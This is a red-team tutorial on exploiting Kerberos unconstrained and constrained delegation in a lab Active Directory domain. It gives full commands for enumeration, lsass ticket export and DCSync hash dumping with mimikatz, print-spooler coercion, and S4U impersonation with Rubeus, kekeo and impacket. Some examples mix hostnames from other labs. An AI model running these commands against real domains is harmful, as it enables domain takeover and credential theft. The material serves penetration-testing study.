This article mainly summarizes the delegation exploitation techniques in domain penetration.
Domain delegation refers to delegating the permissions of users within the domain to service accounts, allowing service accounts to perform domain activities with user permissions. It is important to note that there are two types of accounts that can be delegated within the domain: computer accounts and service accounts (domain users can also become service accounts by registering an SPN).
Only service accounts and computer accounts (i.e., machine accounts, a regular domain user can create up to ten machine accounts by default) have delegation attributes, meaning they can accept delegation.
Kerberos delegation is mainly divided into three types:
Unconstrained Delegation
Constrained Delegation
Resource-Based Constrained Delegation
The processes for unconstrained delegation and constrained delegation can be explored in Microsoft's documentation.
Below is a brief introduction to the various types of Kerberos delegation, how to configure, how to discover, and how to utilize in practical scenarios.
The following is the local operating environment:
-
Domain:
redteam.com
-
Domain Controller:
- Primary Domain Controller:
DC
System:Windows Server 2016
IP:192.168.133.2
- Primary Domain Controller:
-
Domain Hosts:
Win-2008
IP:192.168.133.3
Local Administrator:user1
Win-2016
IP:192.168.133.2
Local Administrator:Administrator
-
Domain Users:
- Domain Admin:
redteam\administrator
- Regular Domain User:
redteam\user1
- Configured Delegation Domain User and Service Account:
redteam\test
- Domain Admin:
Delegation Prerequisites#
The account to be delegated cannot be set as a sensitive account, as shown in the figure below.
Unconstrained Delegation#
Introduction & Configuration Method#
For unconstrained delegation, the service account can obtain the TGT of the delegated user and cache the TGT in the lsass process, allowing the service account to use this TGT to impersonate the user to access any service.
Setting up unconstrained delegation requires the SeEnableDelegation
privilege, which is typically granted only to domain administrators. The userAccountControl
attribute of users configured for unconstrained delegation has a FLAG bit, TRUSTED_FOR_DELEGATION
, corresponding to 0x80000, which is 524288. Being able to delegate any service means it is unconstrained delegation. By default, all domain controllers in the domain are set for unconstrained delegation and can be used for cross-domain (for flag values, refer to: decoding-ad-useraccountcontrol-value).
Open "Active Directory Users and Computers -> View -> Advanced Features", then check the user properties (you can also see it in adsiedit.msc
in the ADSI editor).
Here, the values are WORKSTATION_TRUST_ACCOUNT and TRUSTED_FOR_DELEGATION, so it is 0x81000.
Unconstrained Delegation Process#
Unconstrained delegation: When user
accesses service1
, if the service account of service1
has enabled unconstrained delegation
, then when user
accesses service1
, it will send user
's TGT
to service1
and store it in memory for reuse. Then service1
can use this TGT
to access any service in the domain as user
(any service refers to the services that user
can access).
https://www.cnblogs.com/zpchcbd/p/12939246.html
- The user sends a KRB_AS_REQ request for TGT (we call it TGT1).
- The KDC returns TGT1 in the KRB_AS_REP message.
- The user then requests a forwardable TGT using TGT1 (we call it TGT2).
- The KDC returns a forwardable TGT2 in the KRB_TGS_REP message (the ticket properties contain the forwardable tag Forwarded).
- The user uses TGT1 to request an ST service ticket for accessing Service1 from TGS.
- TGS returns an ST service ticket to the user.
- The user sends a KRB_AP_REQ request to Service1, which includes TGT1, ST service ticket, TGT2, and TGT2's Session key (here TGT2 and TGT2's Session key will be stored in Service1 for later use).
- Service1 uses the user's TGT2 to send a KRB_TGS_REQ to KDC, requesting a ticket ST2 to access Service2 on behalf of the user.
- The KDC returns the ticket ST2 for Service2 to Service1 in the KRB_TGS_REP message.
- Service1 sends a KRB_AP_REQ request on behalf of the client using ST2.
- Service2 responds to Service1's request in step 10.
- Service1 responds to the user's request in step 7.
- In this process, the TGT forwarding mechanism does not restrict Service1's use of TGT2, meaning Service1 can request any service using TGT2.
- The KDC returns the ticket requested in step 13, and steps 15 and 16 are Service1 accessing other services by impersonating the user.
The general process is: the user requests Service1, and the user applies to KDC for an ST service ticket to access Service1 along with a forwardable TGT ticket, which will be sent to Service1 and cached in lsass. Subsequently, the service can use that forwardable TGT ticket to request ST tickets for any other services on behalf of the user. For an attacker, if they use DC or domain admin to access Service1, it will leave tickets in the lsass memory, effectively compromising the domain controller.
Finding hosts/service accounts configured for unconstrained delegation in the domain.
Finding Hosts/Service Accounts Configured for Unconstrained Delegation in the Domain#
AdFind (can query outside the domain)#
Regular domain user execution:
# Query hosts configured for unconstrained delegation in the domain
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
# Query service accounts configured for unconstrained delegation in the domain
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
Note: The default domain controller is configured for unconstrained delegation, so the query shows two computers configured for unconstrained delegation.
Domain users outside the domain can specify domain user account credentials for querying:
#AdFind.exe -h DomainControllerIP -u DomainRegularUsername -up "Password" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# Query hosts configured for unconstrained delegation in the domain
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# Query service accounts configured for unconstrained delegation in the domain
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
SharpLDAPSearch#
Download link: SharpLDAPSearch
LDAP query filtering can be used, executed under a regular domain user:
Find hosts configured for unconstrained delegation in the domain:
SharpLDAPSearch.exe "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" "samaccountname"
Find users configured for unconstrained delegation in the domain:
SharpLDAPSearch.exe "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" "samaccountname"
Using PowerView.ps1#
PowerView has two versions, some features are only supported in the dev version, but I tried both versions and could not directly query service accounts for unconstrained delegation, so I will use LDAP query filtering.
Executed under a regular domain user:
# Query hosts configured for unconstrained delegation in the domain, the following two are the same
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetComputer -Domain redteam.com -Unconstrained | select samaccountname}"
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Domain redteam.com -Unconstrained | select samaccountname}"
# Query service accounts configured for unconstrained delegation in the domain
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -Domain redteam.com -LDAPFilter userAccountControl:1.2.840.113556.1.4.803:=524288 | select name}"
SharpView.exe#
The usage is similar to PowerView.ps1, but its query for service accounts seems to have some issues, so I will still use LDAP queries.
# Query hosts configured for unconstrained delegation in the domain
SharpView.exe Get-NetComputer -Domain redteam.com -Unconstrained -Properties samaccountname
# Query service accounts configured for unconstrained delegation in the domain
SharpView.exe Get-DomainUser -Domain redteam.com -LDAPFilter userAccountControl:1.2.840.113556.1.4.803:=524288 -Properties samaccountname
Unconstrained Delegation Attack Exploitation#
https://y4er.com/post/kerberos-unconstrained-delegation/
https://www.freebuf.com/articles/web/303666.html
When user user
accesses service service
, if the service account of service
has enabled unconstrained delegation, then when user user
accesses service service
, it will send user user
's TGT to service service
and store it in memory for reuse. Therefore, service service
can utilize user user
's identity to access any service that user user
can access.
There are two attack methods: one is to lure a domain admin user (equivalent to phishing within the domain) to access a host or service configured for unconstrained delegation, and the other is to combine printer vulnerabilities to force the domain admin user to connect back to cache the TGT.
Exploitation Scenario#
Once we gain access to a host configured for unconstrained delegation within the domain, we can use mimikatz to export all tickets. If other users have accessed that host, we can obtain that user's permissions through ptt.
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
kerberos::ptt
psexec64.exe \\DC2012.0ne.test -accepteula -s cmd
Of course, we can also lure the domain admin to access that host, for example, by sending a bait file to the administrator to modify Desktop.ini, or through Outlook, etc. For details, refer to Daiker's initiation of NTLM requests.
When the domain admin clicks this folder on the domain controller, it will access Win7, export the domain admin's TGT, ptt, and psexec the domain controller.
Exploitation Prerequisites#
- Local administrator privileges on the host with unconstrained delegation (to export tickets from memory)
- A domain account is needed to find unconstrained delegation.
Simulating Domain Admin Accessing Unconstrained Delegation Host#
- Access the WIN-2008 machine with a domain admin account (mainly to generate TGT).
Simulate the domain admin user yg1
(as long as it is a domain admin user, it does not have to be on the domain controller) to remotely access the unconstrained delegation host Win-2008
, which has obtained local administrator privileges. Common phishing connection methods can be MSSQL or IIS; here, the domain admin user directly IPC connects to Win-2008
.
At this point, the Win-2008
machine already has the domain admin yg1
's TGT ticket, which can be exported from lsass memory using mimikatz.
- Use mimikatz to import the ticket into memory.
# Import the ticket
mimikatz.exe "kerberos::ptt [0;7a739][email protected]" "exit"
# View the ticket
# You can also view in mimikatz: kerberos::list
klist
DCSync can also export the password and obtain access to the domain controller's LDAP ST ticket, allowing access to the domain controller, everything is normal:
mimikatz.exe "lsadump::dcsync /domain:redteam.com /all /csv" "exit" > ntds.txt
Unconstrained Delegation + Spooler Exploitation#
In practice, passive exploitation of unconstrained delegation requires interaction with the target user, which can be cumbersome. Therefore, the combination of unconstrained delegation + Spooler printer service can force specified hosts to connect.
The unconstrained delegation host combined with the Spooler printer service vulnerability allows the domain controller machine DC
to forcibly access the controlled machine Win-2008
with local administrator privileges, thereby obtaining the domain administrator's TGT and taking over the domain controller.
Using an old but default-enabled method in the Windows Print System Remote Protocol (MS-RPRN), domain users can use the MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) method to force any computer running the Spooler service to authenticate against a target chosen by the attacker via Kerberos or NTLM.
Condition: The Print Spooler service must be enabled on the target machine (default enabled).
https://www.cxyzjd.com/article/a3320315/106511098
https://www.cnblogs.com/nice0e3/p/15875685.html#powerview
First, use Rubeus on Win-2008
with local administrator privileges to execute the following command, listening for login information from the domain controller machine DC
every second.
Compiled Rubeus download: https://oss.zjun.info/file/Rubeus.exe
Version: https://github.com/GhostPack/Rubeus/releases/tag/1.6.4
- Use Rubeus to listen for 4624 login logs from the DC machine (requires local administrator privileges).
If the cmd cannot maximize the window, you can run wmic first, then maximize the window, and after that, exit back to cmd.
# /interval:1 sets the listening interval to 1 second
# /filteruser listens for the domain controller, note the trailing $, if no listening object is set, it will listen for all TGTs
Rubeus.exe monitor /interval:1 /filteruser:DC$
- Use the print service to force the DC to authenticate to WIN-7 (administrator privileges are not required).
Then use SpoolSample to force the domain controller to connect back to the printer, which needs to be executed on the domain user process, so here it switches to a regular domain user account for execution.
Compiled SpoolSample download: https://oss.zjun.info/file/SpoolSample.exe
SpoolSample.exe DC WIN-7
The WIN-7 machine receives the TGT ticket.
- Export & inject the ticket.
If using mimikatz to inject the ticket, it needs to be converted first.
# Using mimikatz
## Execute in PowerShell
[IO.File]::WriteAllBytes(".\ticket.kirbi", [Convert]::FromBase64String("Base64 encoded ticket without line breaks"))
## PTT
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
# Using Rubeus
## You can directly use the base64 TGT for PTT
Rubeus.exe ptt /ticket:Base64 encoded ticket without line breaks
Note: The TGT ticket obtained here is for the domain controller machine account.
Next, decrypting the NTLM hash allows direct login to the domain controller. If it cannot be decrypted, the NTLM hash of krbtgt can be used for golden ticket persistence, refer to: https://blog.zjun.info/2020/kerberos-protocol-to-ticket-forgery.html#cl-8.
Constrained Delegation#
Introduction & Configuration Method#
Due to the insecurity of unconstrained delegation, Microsoft released constrained delegation in Windows Server 2003, expanding the Kerberos protocol and adding the S4u2self (Service for User to Self) and S4u2Proxy (Service for User to Proxy) sub-protocols, allowing service accounts to only obtain TGS for users, thus only simulating users to access specific services. The msDS-AllowedToDelegateTo
attribute of accounts configured for constrained delegation specifies which services can be delegated. The biggest difference between constrained delegation and unconstrained delegation is that when configuring, a specific service is chosen instead of all services. The setup for constrained delegation also requires the SeEnableDelegation
privilege, which is typically granted only to domain administrators.
When a service account or host is set for constrained delegation, its userAccountControl attribute contains TRUSTED_TO_AUTH_FOR_DELEGATION
, and the msDS-AllowedToDelegateTo attribute will include the constrained services.
Click "Add -> Select the delegated computer -> Select the delegated service" to add.
Tip#
If we can compromise the service account configured for constrained delegation (obtain the password/hash), we can simulate any user in the domain (such as domain\administrator) and obtain access to the configured services (obtain TGS tickets).
Moreover, we can access not only the services that the constrained delegation configuration allows the user to simulate, but also any service permitted by the permissions of the simulated account. (Because SPN is not checked, only permissions are checked). For example, if we can access the CIFS service, we also have permission to access the HOST service. Note that if we have permission to access the DC's LDAP service, we have sufficient permission to execute DCSync.
If a user is marked as "sensitive account and cannot delegate" in AD, their identity cannot be simulated.
userAccountControl attribute:
msDS-AllowedToDelegateTo attribute:
Register a user as a service account for easier reproduction later (domain admin operation).
# Create a domain user
net user SqlServer S123456@#!1 /domain /add
# Register SPN, register the SqlServer user as a service account
setspn -U -A SQLServer/WIN2008.redteam.com:1433/MSSQL SqlServer
# Find the SPN registered for the specified SqlServer user
setspn -L SqlServer
Then configure the SqlServer user for constrained delegation in the domain controller, directly configuring it for the CIFS protocol of the domain controller for demonstration.
Constrained Delegation Process#
- The user initiates a request to Service1.
- Service1 simulates the user through S4U2self to request a forwardable ST service ticket for Service1 from KDC.
- KDC returns a forwardable ST service ticket (let's call it ST1) for Service1 itself, and Service1 uses this ST1 to complete the authentication process with the user.
- Service1 uses the ST1 ticket (with the Forwardable flag) obtained in step 3 to complete the authentication with the user and then responds to the user.
- The user initiates a request to Service1 again. (Here, two points: Service1 has already been authenticated, and there is a valid TGT with the Forwardable flag, and Service1 has the ST1 ticket with the Forwardable flag requested from the user).
- Then, Service1 uses S4U2proxy on behalf of the user with ST1 (with the Forwardable flag, the TGS ticket obtained in the S4U2SELF phase will be placed in the AddtionTicket field) to request a ST for authenticating Service2 from KDC (let's call it ST2). The user is identified by the cname (client name) and crealm (client realm) fields in ST1.
- After receiving Service1's request in step 6, KDC verifies it and returns the ST2 service ticket for Service2 (with the Forwardable flag).
- Service1 requests Service2 on behalf of the user using ST2.
- Service2 responds to Service1's request.
- Service1 responds to the user's request.
From an attacker's perspective, if the attacker controls the Service1 account and Service1 is configured for constrained delegation to Service2, then the attacker can use Service1 to access Service2 as an administrator.
Finding Hosts/Service Accounts Configured for Constrained Delegation in the Domain#
AdFind (can query outside the domain)#
Regular domain user execution:
# Find hosts and services configured for constrained delegation in the domain
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# Find service accounts and services configured for constrained delegation in the domain
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
Domain users outside the domain can specify domain user account credentials for querying:
#AdFind.exe -h DomainControllerIP -u DomainRegularUsername -up "Password" -b "DC=xx,DC=xx" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# Query hosts and services configured for constrained delegation in the domain
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# Query service accounts and services configured for constrained delegation in the domain
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
Configured machines for constrained delegation.
This is a service account configured for constrained delegation.
SharpLDAPSearch#
Download link: SharpLDAPSearch
LDAP query filtering can be used, executed under a regular domain user:
Find hosts configured for constrained delegation in the domain
SharpLDAPSearch.exe "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" "samaccountname"
Find service accounts configured for constrained delegation in the domain
SharpLDAPSearch.exe "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" "samaccountname"
PowerView.ps1#
# Find hosts configured for constrained delegation in the domain
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Domain redteam.com -TrustedToAuth -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto|fl}"
# Find service accounts configured for constrained delegation in the domain
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -Domain redteam.com –TrustedToAuth -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto|fl}"
SharpView.exe#
# Find hosts configured for constrained delegation in the domain
SharpView.exe Get-DomainComputer -Domain redteam.com -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
# Find service accounts configured for constrained delegation in the domain
SharpView.exe Get-DomainUser -Domain redteam.com -LDAPFilter msds-allowedtodelegateto=* -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto
Constrained Delegation Attack Exploitation#
https://blog.csdn.net/qq_36119192/article/details/104538160
https://www.redteaming.top/2020/02/11 / 域渗透 ——Kerberos 委派攻击 /
Can also be executed on machines outside the domain
Service users can only obtain the ST of a specific user (or host) service, so they can only simulate users to access specific services and cannot obtain the user's TGT. If we can obtain the plaintext password or NTLM Hash
of a service user with constrained delegation enabled, we can forge an S4U request and impersonate the service user to request access to the specified service's ST with any account.
Given the condition that the plaintext of the service user is known, we can use kekeo to request the user's TGT.
Note:
In Windows systems, regular users do not have the delegation option in their properties; only service accounts and computer accounts do.
Service accounts (Service Account) are a type of domain user account used to run services on servers, allowing the service to run and join the domain. For example, MS SQL Server automatically registers the service account SqlServiceAccount during installation, and such accounts cannot be used for interactive login.
Using Kekeo#
- Use Kekeo to request TGT tickets.
# Plaintext password method
tgt::ask /user:test /domain:redteam.com /password:P@ssw0rd
kekeo.exe "tgt::ask /user:SqlServer /domain:redteam.com /password:S123456@#!1" "exit"
# NTLM password method
kekeo.exe "tgt::ask /user:SqlServer /domain:redteam.com /NTLM:77e3527e2a110b7e30659749718f54f9" "exit"
- Request the ST ticket for the CIFS service of the domain controller.
Use this TGT to forge an S4U request to request access to the ST of DC CIFS
as the administrator
user.
# Requires the TGT ticket obtained above
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dc.redteam.com" "exit"
The result generates two ST tickets, one is the ST ticket for SqlServer itself obtained through S4U2Self request, and the other is the ST ticket for CIFS obtained through S4U2Proxy request.
Then, use mimikatz on a domain machine to import the ST2 into the current session to successfully access the domain controller DC
.
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" "exit"
The ST ticket for the service user is exported, and we can request access to the ST of P-DC CIFS
by forging an S4U request as the administrator
user.
# kekeo
tgs::s4u /tgt:[0;8f613]-2-0-40e10000-test@krbtgt-ZJUN.COM.kirbi /user:Administrator@zjun
Using Rubeus#
The process is the same as above, so no images are attached.
# Since Rubeus does not support plaintext passwords, convert to hash first
Rubeus.exe hash /password:S123456@#!1
# 1. Request TGT tickets and obtain base64 format TGT
Rubeus.exe asktgt /user:SqlServer /rc4:77E3527E2A110B7E30659749718F54F9 /domain:redteam.com
# 2. Convert to normal format in PowerShell
[IO.File]::WriteAllBytes(".\ticket.kirbi", [Convert]::FromBase64String("Remove line breaks from base64"))
# 3. Request the ST ticket for the CIFS service of the domain controller and inject it
Rubeus.exe s4u /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:cifs/dc.redteam.com /ptt
One step:
Rubeus.exe s4u /user:SqlServer /rc4:77E3527E2A110B7E30659749718F54F9 /impersonateuser:administrator /msdsspn:cifs/dc.redteam.com /ptt
Using Impacket Package#
When executing commands, it is recommended to choose the impacket package. Using mimikatz for ptc cannot use the impacket package like smbexec tool execution commands, and KRB5CCNAME needs to be specified.
# 1. Request access to the ST ticket for the domain controller CIFS
# impersonate: impersonate user
# spn: SPN of the service to delegate
# dc-ip: domain controller IP
python3 getST.py -dc-ip 172.16.1.1 -impersonate administrator bean/SqlServer:S123456@#!1 -spn cifs/dc.bean.testlab
# 2. Import cache
## 2.1 On Windows
set KRB5CCNAME=administrator.ccache
## 2.2 On Linux
export KRB5CCNAME=administrator.ccache
# 3. Obtain domain controller permissions
python3 smbexec.py -no-pass -k dc.bean.testlab
Based on resource-based constrained delegation is too much, more will be added later.
End of summary.